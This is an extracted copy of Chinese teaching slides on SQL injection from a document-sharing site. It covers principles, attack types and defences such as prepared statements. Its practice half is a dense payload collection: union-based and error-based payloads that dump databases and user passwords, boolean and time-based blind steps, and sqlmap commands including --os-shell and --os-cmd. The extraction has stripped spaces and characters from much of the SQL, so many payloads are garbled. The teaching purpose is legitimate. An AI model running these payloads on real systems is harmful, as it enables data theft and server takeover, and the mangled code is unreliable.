第5章-5.2-SQL注入攻擊_第1頁
第5章-5.2-SQL注入攻擊_第2頁
第5章-5.2-SQL注入攻擊_第3頁
第5章-5.2-SQL注入攻擊_第4頁
第5章-5.2-SQL注入攻擊_第5頁
已閱讀5頁,還剩68頁未讀, 繼續(xù)免費閱讀

下載本文檔

版權說明:本文檔由用戶提供并上傳,收益歸屬內容提供方,若內容存在侵權,請進行舉報或認領

文檔簡介

SQL注入攻擊SQL注入攻擊是黑客對數據庫進行攻擊的常用手段之一。隨著B/S模式應用開發(fā)的發(fā)展,使用這種模式編寫應用程序的程序員也越來越多。但是由于程序員的水平及經驗也參差不齊,相當大一部分程序員在編寫代碼的時候,沒有對用戶輸入數據的合法性進行判斷,使應用程序存在安全隱患。用戶可以提交一段數據庫查詢代碼,根據程序返回的結果,獲得某些他想得知的數據,這就是所謂的SQL

Injection,即SQL注入。前言目錄/CONTENTSSQL注入攻擊原理SQL注入攻擊分類SQL注入攻擊防御SQL注入攻擊實踐所謂SQL注入,就是通過把SQL命令插入到Web表單提交或輸入域名或頁面請求的查詢字符串,最終達到欺騙服務器執(zhí)行惡意的SQL命令。具體來說,它是利用現有應用程序,將(惡意的)SQL命令注入到后臺數據庫引擎執(zhí)行的能力,它可以通過在Web表單中輸入(惡意)SQL語句得到一個存在安全漏洞的網站上的數據庫,而不是按照設計者意圖去執(zhí)行SQL語句。比如先前的很多影視網站泄露VIP會員密碼大多就是通過WEB表單遞交查詢字符暴出的,這類表單特別容易受到SQL注入式攻擊。什么是SQL注入一般用戶登錄用的SQL語句為:SELECT*FROMuserWHEREusername='admin'ANDpassword='passwd';此處admin和passwd分別為用戶輸入的用戶名和密碼,如果程序員沒有對用戶輸入的用戶名和密碼做處理,就可以構造萬能密碼成功繞過登錄驗證。SQL注入原理如用戶輸入'or1#,SQL語句此時將變?yōu)椋篠ELECT*FROMuserWHEREusername=''or1#'ANDpassword='';''or1為TRUE,#注釋掉后面的內容,邏輯就會變成類似于SELECT*FROMuserWHEREusername=''or1;or語句連接兩個條件,其中只要一個為true,結果就會true所以查詢語句可以正確執(zhí)行。SQL注入原理pikachu來測試一下:查看源代碼,可以看到SQL語句為:SELECTid,emailFROMmemberWHEREusername='$name';拼接之后,SQL語句為SELECTid,emailFROMmemberWHEREusername=''or1#';語句永恒為真,則輸出所有的用戶SQL注入原理SQL注入漏洞的產生需要滿足兩個條件:參數用戶可控:前端傳給后端的參數內容是用戶可以控制的。參數帶入數據庫查詢:傳入的參數拼接到SQL語句并帶入數據庫查詢。SQL注入利用條件①http://www.XXXXXX.com/showtail.asp?id=40'②http://www.XXXXXX.com/showtail.asp?id=40

and

1=1③http://www.XXXXXX.com/showtail.asp?id=40

and

1=2如果執(zhí)行①后,頁面上提示報錯或者提示數據庫錯誤的話,說明是存在注入漏洞的。如果執(zhí)行②后,頁面正常顯示,而執(zhí)行③后,頁面報錯,那么說明這個頁面是存在注入漏洞的。SQL注入是否存在的判斷方式目錄/CONTENTSSQL注入攻擊原理SQL注入攻擊分類SQL注入攻擊防御SQL注入攻擊實踐SQL注入的分類-按注入點類型來分在Web

端大概是/news.php?id=1

這種形式,其注入點id

類型為數字,所以叫數字型注入點。這一類的

SQL

語句原型大概為

select*from

表名

where

id=1。組合出來的sql注入語句為:select*fromnews

whereid=1

and

1=12字符型注入點3搜索型注入點在Web端大概是/news.php?name=admin這種形式,其注入點name類型為字符類型,所以叫字符型注入點。這一類的SQL語句原型大概為select*from表名wherename='admin'。注意多了引號。組合出來的sql注入語句為:select*fromnewswherechr='admin'and1=11數字型注入點這是一類特殊的注入類型。這類注入主要是指在進行數據搜索時沒過濾搜索參數,一般在鏈接地址中有“keyword=關鍵字”,有的不顯示在的鏈接地址里面,而是直接通過搜索框表單提交。此類注入點提交的SQL語句,其原形大致為:select*from表名where字段like

'%關鍵字%'。按數據提交方式來分類:GET型注入:提交數據的方式是GET,注入點的位置在GET參數部分。比如有這樣的一個鏈接/news.php?id=1

,

id是注入點。POST型注入:使用POST方式提交數據,注入點位置在POST數據部分,常發(fā)生在表單中。cookie注入:HTTP請求的時候會帶上客戶端的Cookie,注入點存在cookie當中的某個字段中。HTTP頭部注入:注入點在HTTP請求頭部的某個字段中。比如存在User-Agent字段中。嚴格講的話,Cookie其實應該也是算頭部注入的一種形式。因為在HTTP請求的時候,Cookie是頭部的一個字段。SQL注入的分類-按數據提交方式來分按照執(zhí)行效果來分類:聯合查詢注入,可以使用union的情況下的注入?;趫箦e注入,即頁面會返回錯誤信息,或者把注入的語句的結果直接返回在頁面中?;诓紶柕拿ぷ?,即可以根據返回頁面判斷條件真假的注入?;跁r間的盲注,即不能根據頁面返回內容判斷任何信息,用條件語句查看時間延遲語句是否執(zhí)行(即頁面返回時間是否增加)來判斷。SQL注入的分類-按照執(zhí)行效果來分目錄/CONTENTSSQL注入攻擊原理SQL注入攻擊分類SQL注入攻擊防御SQL注入攻擊實踐1.限制數據類型:在傳入參數的地方限制參數的類型,比如整型Integer,隨后加入函數判斷,如is_numeric($_GET[‘id’])只有當get到的id為數字或者數字字符時才能執(zhí)行下一步,限制了字符自然就限制了注入,畢竟構造參數怎么可能不傳入字符。但這種方法存在一定的限制,只能在特定的頁面才能使用,一般大部分都是要求我們傳入的字符串,但可以很大程度限制整型注入的情況。SQL注入的防御2.正則匹配過濾:preg_match('/and|select|insert|insert|update|[A-Za-z]|/d+:/i',$id)注釋:preg_match()函數匹配傳入的id值,/作為正則的起始標識符|代表或[A-Za-z]表示匹配參數中是否存在大小寫的26個字符/d匹配是否存在數字+匹配一次或多次/i不區(qū)分大小寫SQL注入的防御3.函數過濾轉移:在PHP中最基本的就是magic_quotes_gpc函數,用于處理’"符號加上/防止轉義,如:?id=1'and1=1#===>?id=1/'and1=1#另外還有addslashes(),也具有相同的效果。像前面提到的**preg_match()**函數結合正則表達式或者黑名單也具有預防效果。默認情況下,PHP指令magic_quotes_gpc為on,對所有的GET、POST和COOKIE數據自動運行addslashes()。不要對已經被magic_quotes_gpc轉義過的字符串使用addslashes(),因為這樣會導致雙層轉義。遇到這種情況時可以使用函數get_magic_quotes_gpc()進行檢測。mysql_escape_string($string):用反斜杠轉義字符串中的特殊字符,用于mysql_query()查詢。mysql_real_escape_string()函數轉義SQL語句中使用的字符串中的特殊字符。轉義的符號包括\x00\n\r\’"\x1aSQL注入的防御4.預編譯語句:預編譯語句對現在的程序員來說基本都會去設計使用的方法,保障數據庫的安全。一般來說,防御SQL注入的最佳方式就是使用預編譯語句,綁定變量。Stringquery="selectpasswordfromuserswhereusername='?'";預編譯:使用預編譯相當于是將數據于代碼分離的方式,把傳入的參數綁定為一個變量,用?表示,攻擊者無法改變SQL的結構,在這個例子中,即使攻擊者插入類似admin’or1=1#的字符串,如果不做處理直接帶入查詢,那么query則變成了query="selectpasswordfromuserswhereusername='admin'or1=1";SQL注入的防御4.預編譯語句:閉合了后面的引號,從而執(zhí)行了惡意代碼。而預編譯則是將傳入的admin’or1=1#當做純字符串的形式作為username執(zhí)行,避免了上面說到的SQL語句中的拼接閉合查詢語句等過程,可以理解為字符串與sql語句的關系區(qū)分開,username此時作為字符串不會被當做之前的SQL語句被帶入數據庫執(zhí)行,避免了類似sql語句拼接、閉合等非法操作。就相當于拿著這個字符串去數據庫中找有沒有這個東西一樣。并且使用預編譯的SQL語句,SQL語句的語義不會發(fā)生改變。SQL注入的防御5.對數據庫的敏感信息進行加密:數據庫中可以進行MD5算法加密插入到數據庫中,像數據庫中的用戶的賬號和密碼以及涉及到用的個人隱私的。在插入數據之前使用DES算法加密,密文加密鑰組合起來,例如password字段的數據,前十六位為密文,后十六位為密鑰,則password等于密文(16位)加上密鑰(16位)組合起來,其他表中的字段同理。SQL注入的防御6.管理數據庫的配置權限:使用安全的賬號和密碼策略,SQLServer具有一個超級用戶賬號,其用戶名稱是:SA,該用戶名不能被修改也不能被刪除,所以,我們必須對這個賬號進行最強的保護。不在數據庫應用中直接使用SA賬號,新建一個(而且只建-一個)與SA一樣權限的超級用戶來管理數據庫,其它用戶根據實際需要分配僅僅能夠滿足應用要求的權限,不要給予多余的權限,所有用戶(特別是超級用戶)都要使用復雜的密碼,同時養(yǎng)成定期修改密碼的好習慣。SQL注入的防御目錄/CONTENTSSQL注入攻擊原理SQL注入攻擊分類SQL注入攻擊防御SQL注入攻擊實踐MySQL的注釋風格內聯注釋是MySQL數據庫為了保持與其他數據庫兼容,特意新添加的功能。為了避免從MySQL中導出的SQL語句不能被其他數據庫使用,它把一些MySQL特有的語句放在/*!...*/中,這些語句在不兼容的數據庫中使用時便不會執(zhí)行。而MySQL自身卻能識別、執(zhí)行。/*50001*/表示數據庫版本>=5.00.01時中間的語句才會執(zhí)行。在SQL注入中,內聯注釋常用來繞過waf。MySQL的注釋風格MySQL-常用函數函數/

語句功能user()當前用戶名database()當前所用數據庫current_user()當前用戶名(可用來查看權限)version()數據庫的版本@@datadir數據庫的路徑load_file()讀文件操作Intooutfile()/intodumpfile寫文件操作concat(str1,str2..)函數,直接連接group_concat(str1,str2..)函數,使用逗號做為分隔符concat_ws(sep,str1,str2..)函數,使用第一個參數做為分隔符MySQL-字符串連接函數MySQL-information-schema結構原理:聯合查詢是可合并多個相似的選擇查詢的結果集。等同于將一個表追加到另一個表,從而實現將兩個表的查詢組合在一起,使用為此為UNINO或UNIONALL

聯合查詢:將多個查詢的結果合并到一起(縱向合并):字段數不變,多個查詢的記錄數合并基本語法:select語句union操作符聯合查詢注入的條件:聯合查詢注入是MySQL注入中的一種方式,在SQL注入中說了注入漏洞存在的相關條件,而聯合查詢注入這種方法需要滿足查詢的信息在前端有回顯,回顯數據的位置就叫回顯位。

如果有注入漏洞的頁面存在這種回顯位就可以利用聯合查詢注入的方式進行注入。聯合查詢聯合查詢注入的一般步驟聯合查詢判斷是否存在注入:Payload:?id=1'聯合查詢求閉合字符:Payload:?id=1'and1=1%23正常回顯

Payload:?id=1'and1=2%23異?;仫@說明存在布爾類型狀態(tài)聯合查詢求列數:Payload:?id=1'orderby3%23

正?;仫@

Payload:?id=1'orderby4%23異?;仫@說明存在3個字段聯合查詢求顯示位:Payload:?id=1'unionselect1,2,3%23正?;仫@

Payload:?id=-1'unionselect1,2,3%232,3位置有回顯說明2字段的內容會在name位置回顯,3字段的內容會在password位置回顯注意:聯合查詢的時候一般需要把前面的SQL語句置為假聯合查詢爆數據庫查詢所有庫名:Payload:?id=1'and1=2unionselect1,2,group_concat(schema_name)frominformation_schema.schemata%23查看當前庫:Payload:?id=1'and1=2unionselect1,2,concat(database())%23查看庫的版本:Payload:?id=1'and1=2unionselect1,2,concat(version())%23聯合查詢爆表名查詢security數據庫中所有的表:Payload:?id=1'and1=2unionselect1,2,group_concat(table_name)frominformation_schema.tableswheretable_schema="security"%23聯合查詢爆列名查詢user表中所有列名:Payload:?id=1'and1=2unionselect1,2,group_concat(column_name)frominformation_schema.columnswheretable_schema="security"andtable_name="users"%23聯合查詢爆字段內容Payload:?id=1'and1=2unionselect1,2,group_concat(id,0x23,username,0x23,password)fromsecurity.users%23SQL報錯注入就是利用數據庫的某些機制,人為地制造錯誤條件,使得查詢結果能夠出現在錯誤信息中。MYSQL報錯注入大體可以分為以下幾類:BIGINT等數據類型溢出Xpath語法錯誤concat+rand()+group_by()導致主鍵重復數據庫的一些特性注意,在使用報錯語句時,有兩種使用方法,一種是AND連接,報錯語句不需要寫SELECT;另一種是UNION,報錯語句需要些SELECT,同時還要注意列數量要對應,推薦使用AND連接。報錯注入常用函數:Count()計算總數Concat()連接字符串Floor()向下取整數Rand()產生0~1的隨機數rand(0)序列是011011報錯注入構造payload獲取庫名;成功拿到庫名:security?id=1'Unionselect1,count(*),concat(database(),0x26,floor(rand(0)*2))xfrominformation_schema.columnsgroupbyx;--+報錯注入構造payload獲取表名;成功拿到表名:users?id=1'Unionselect1,count(*),concat((selecttable_namefrominformation_schema.tableswheretable_schema='security'limit3,1),0x26,floor(rand(0)*2))xfrominformation_schema.columnsgroupbyx;--+報錯注入構造payload獲取列名;成功拿到列名:username?id=1'Unionselect1,count(*),concat((selectcolumn_namefrominformation_schema.columnswheretable_schema='security'andtable_name='users'limit1,1),0x26,floor(rand(0)*2))xfrominformation_schema.columnsgroupbyx;--+報錯注入構造payload獲取數據;成功拿到數據-用戶名:Dumb?id=1'Unionselect1,count(*),concat((selectpasswordfromuserslimit0,1),0x26,floor(rand(0)*2))xfrominformation_schema.columnsgroupbyx;--+報錯注入1、通過floor報錯,注入語句如下:andselect1from(selectcount(),concat(version(),floor(rand(0)2))xfrominformation_schema.tablesgroupbyx)a);2、通過ExtractValue報錯,注入語句如下:andextractvalue(1,concat(0x5c,(selecttable_namefrominformation_schema.tableslimit1)));3、通過UpdateXml報錯,注入語句如下:and1=(updatexml(1,concat(0x3a,(selectuser())),1))4、通過NAME_CONST報錯,注入語句如下:andexists(selectfrom(selectfrom(selectname_const(@@version,0))ajoin(selectname_const(@@version,0))b)c)報錯注入常用payload5、通過join報錯,注入語句如下:select*from(select*frommysql.userajoinmysql.userb)c;6、通過exp報錯,注入語句如下:andexp(~(select*from(selectuser())a));7、通過GeometryCollection()報錯,注入語句如下:andGeometryCollection(()select*from(selectuser())a)b);8、通過polygon()報錯,注入語句如下:andpolygon(()select*from(selectuser())a)b);9、通過multipoint()報錯,注入語句如下:andmultipoint(()select*from(selectuser())a)b);報錯注入常用payload10、通過multlinestring()報錯,注入語句如下:andmultlinestring(()select*from(selectuser())a)b);11、通過multpolygon()報錯,注入語句如下:andmultpolygon(()select*from(selectuser())a)b);12、通過linestring()報錯,注入語句如下:andlinestring(()select*from(selectuser())a)b);報錯注入常用payload盲注一般步驟Boolean型的注入意思就是頁面返回的結果是yes/no的,沒有明確回顯的,通過構造SQL判斷語句,查看頁面的返回結果是否報錯,頁面返回是否正常等來判斷哪些SQL判斷條件是成立的,通過此來獲取數據庫中的數據。頁面沒有明確的回顯點,只能通過報錯信息/異常響應。布爾盲注簡介substr()截取字符串ascii()返回字符的ascii碼length()返回字符串的長度if(expr1,expr2,expr3)判斷語句如果第一個語句正確就執(zhí)行第二個語句如果錯誤執(zhí)行第三個語句mid()返回字符串的一部分left()返回具有指定長度的字符串的左邊部分ord()返回字符串第一個字符的ASCII值布爾盲注常用函數基于布爾類型1.判斷是否存在注入,注入是字符型還是數字型,例:1or1=1,1'or'1'='12.猜解當前數據庫名,例:猜長度andlength(database())=1#,逐個猜字符andascii(substr(database(),1,1))>97#3.猜解數據庫中的表名,例:猜表數量and(selectcount(table_name)frominformation_schema.tableswheretable_schema=database())=1#,逐個猜表名長度andlength(substr((selecttable_namefrominformation_schema.tableswheretable_schema=database()limit0,1),1))=1#,再逐個猜表名字符andascii(substr((selecttable_namefrominformation_schema.tableswheretable_schema=database()limit0,1),1,1))>97#布爾盲注4.猜解表中的字段名,例:猜字段數量and(selectcount(column_name)frominformation_schema.columnswheretable_name='users')=1#,逐個猜字段長度andlength(substr((selectcolumn_namefrominformation_schema.columnswheretable_name='users'limit0,1),1))=1#,再逐個猜字段字符(可用二分法)5.猜解數據,先猜數據記錄數(可用二分法),再逐個字段猜數據的長度及數據(可用二分法)布爾盲注延時注入又稱時間盲注,也是盲注的一種。通過構造延時注入語句后,瀏覽器頁面的響應時間來判斷正確的數據;即利用函數sleep()讓服務器休眠,通過休眠時間判斷執(zhí)行的語句對錯,從而得到我們想要的信息。延時注入簡介延時注入的應用場景是,在我們輸入and1或者and0的時候,頁面的返回無變化,這個時候可以通過andsleep(5)來判斷一下頁面的響應時間,響應時間在五秒多一點的話,說明此處可以使用延時注入。適用于,無法回顯和無法顯示錯誤頁面的場景。延時注入應用場景sleep()//延時if(condition,ture,fales)//條件語句ascii()//轉換成asciisubstring()substring("string",strart,length)//mid()也一樣從哪開始取幾位count(column_name)函數返回指定列的值的數目(NULL不計入)。limit[offset,]rowsoffset是偏移量,表示我們現在需要的數據是跳過多少行數據之后的,可以忽略;rows表示我們現在要拿多少行數據。延時注入常用函數1.判斷是否存在注入,注入是字符型還是數字型andsleep(5)#2.猜解當前數據庫名,例:猜長度andif(length(database())=1,sleep(5),1)#,逐個猜字符andif(ascii(substr(database(),1,1))>97,sleep(5),1)3.猜解數據庫中的表名,例:猜表數量andif((selectcount(table_name)frominformation_schema.tableswheretable_schema=database())=1,sleep(5),1)#,逐個猜表名長度andif(length(substr((selecttable_namefrominformation_schema.tableswheretable_schema=database()limit0,1),1))=1,sleep(5),1),再逐個猜表名字符。延時注入4.猜解表中的字段名,例:猜字段數量andif((selectcount(column_name)frominformation_schema.columnswheretable_name=’users’)=1,sleep(5),1)#,逐個猜字段長度andif(length(substr((selectcolumn_namefrominformation_schema.columnswheretable_name=’users’limit0,1),1))=1,sleep(5),1)#,再逐個猜字段字符(可用二分法)。5.猜解數據,先猜數據記錄數(可用二分法),再逐個字段猜數據的長度及數據(可用二分法)。延時注入SQLMAP是一個開源的滲透測試工具,它主要用于自動化地偵測和實施SQL注入攻擊以及滲透數據庫服務器。SQLMAP配有強大的偵測引擎,適用于高級滲透測試用戶,不僅可以獲得不同數據庫的指紋信息,還可以從數據庫中提取數據,此外還能夠處理潛在的文件系統(tǒng)以及通過帶外數據連接執(zhí)行系統(tǒng)命令等。SQL注入工具檢測注入點:sqlmap.py–u“url”信息探測:判斷站點的當前用戶是否為數據庫管理員sqlmap.py-u“url”--is-dba檢測站點中包含哪些數據庫sqlmap.py-u“url”--dbs檢測當前使用的是哪個數據庫sqlmap.py-u“url”--current-db檢測當前用戶sqlmap.py-u“url”--current-usersqlmap使用sqlmap使用注入流程:爆出指定數據庫的所有表sqlmap.py-u"url"--tables-D"schema_name"爆出指定表的列項sqlmap.py-u"url"--columns-T"table_name"-D"schema_name"輸出指定數據庫指定表的指定列的記錄sqlmap.py-u"url"–C"column_name"-T"table_name"-D"schema_name"--dumpPOST注入指定一個參數的方法:sqlmap.py-u"url"--data"n=1&p=1"--data選項為發(fā)送我們的指定數據自動搜索表單的方式:sqlmap.py-u"url"–forms通過—forms參數自動搜索表單抓取POST請求內容方式:Sqlmap.py-r/root/Desktop/post通過-r參數加載post請求Cookie注入cookie用于在客戶端本地保存用戶訪問網站時的一些身份驗證信息。cookie與get和post方法一樣,都可用于客戶端向服務器端傳遞數據。檢測注入點:sqlmap.py-u"url"--cookie"id=16"--level2--level,指定探測等級。sqlmap共有五個等級,默認為1。級別1,探測GET和POST數據。級別2,探測Cookie數據。注入指定數據庫、操作系統(tǒng)指定數據庫,繞過salmap自動檢測:sqlmap.py-u"url"--dbms"mysql"-v2指定操作系統(tǒng):sqlmap.py-u"url"--os"Windows"-v2交互式寫shell及命令執(zhí)行獲取Shell:sqlmap.py-u"url"--os-shell執(zhí)行命令,只要權限足夠大,可以輸入使用任何命令:sqlmap.py-u"url"--os-cmd=ipconfig以DVWA-SQLinjection的Low級別為例輸入參數1

溫馨提示

  • 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
  • 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯系上傳者。文件的所有權益歸上傳用戶所有。
  • 3. 本站RAR壓縮包中若帶圖紙,網頁內容里面會有圖紙預覽,若沒有圖紙預覽就沒有圖紙。
  • 4. 未經權益所有人同意不得將文件中的內容挪作商業(yè)或盈利用途。
  • 5. 人人文庫網僅提供信息存儲空間,僅對用戶上傳內容的表現方式做保護處理,對用戶上傳分享的文檔內容本身不做任何修改或編輯,并不能對任何下載內容負責。
  • 6. 下載文件中如有侵權或不適當內容,請與我們聯系,我們立即糾正。
  • 7. 本站不保證下載資源的準確性、安全性和完整性, 同時也不承擔用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。

評論

0/150

提交評論